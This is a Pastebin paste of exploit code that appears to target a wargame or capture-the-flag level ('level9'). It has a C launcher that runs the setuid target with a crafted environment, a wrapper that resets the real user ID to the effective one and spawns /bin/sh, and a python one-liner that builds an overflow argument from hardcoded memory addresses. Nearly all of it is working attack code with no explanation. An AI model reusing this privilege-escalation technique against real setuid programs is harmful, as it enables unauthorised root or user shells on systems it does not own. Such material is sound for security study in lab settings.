Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /***********************************
- | Exploit.c |
- ***********************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- char target_path[] = "/home/level9/level9";
- char *env[] = {"/tmp/wrapper", (char *)0};
- int main(int argc, char* argv[])
- {
- if(!execle(target_path, target_path, argv[1], (char *)0, env))
- {
- perror("Unable to execute target.");
- exit(1);
- }
- }
- /***********************************
- | Wrapper.c |
- ***********************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- int main(int argc, char* argv[])
- {
- int euid = geteuid();
- setreuid(euid, euid);
- execv("/bin/sh", (char *)0);
- }
- /***********************************
- | Arg : python script |
- ***********************************/
- //"$(python -c "print '-'*54+ '\x20\x8e\xf2\xb7' + '\xa0\xd7\xeb\xb7' + '\xdb\xff\xff\xbf' + '\xfc\xff\xff\xbf'")"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement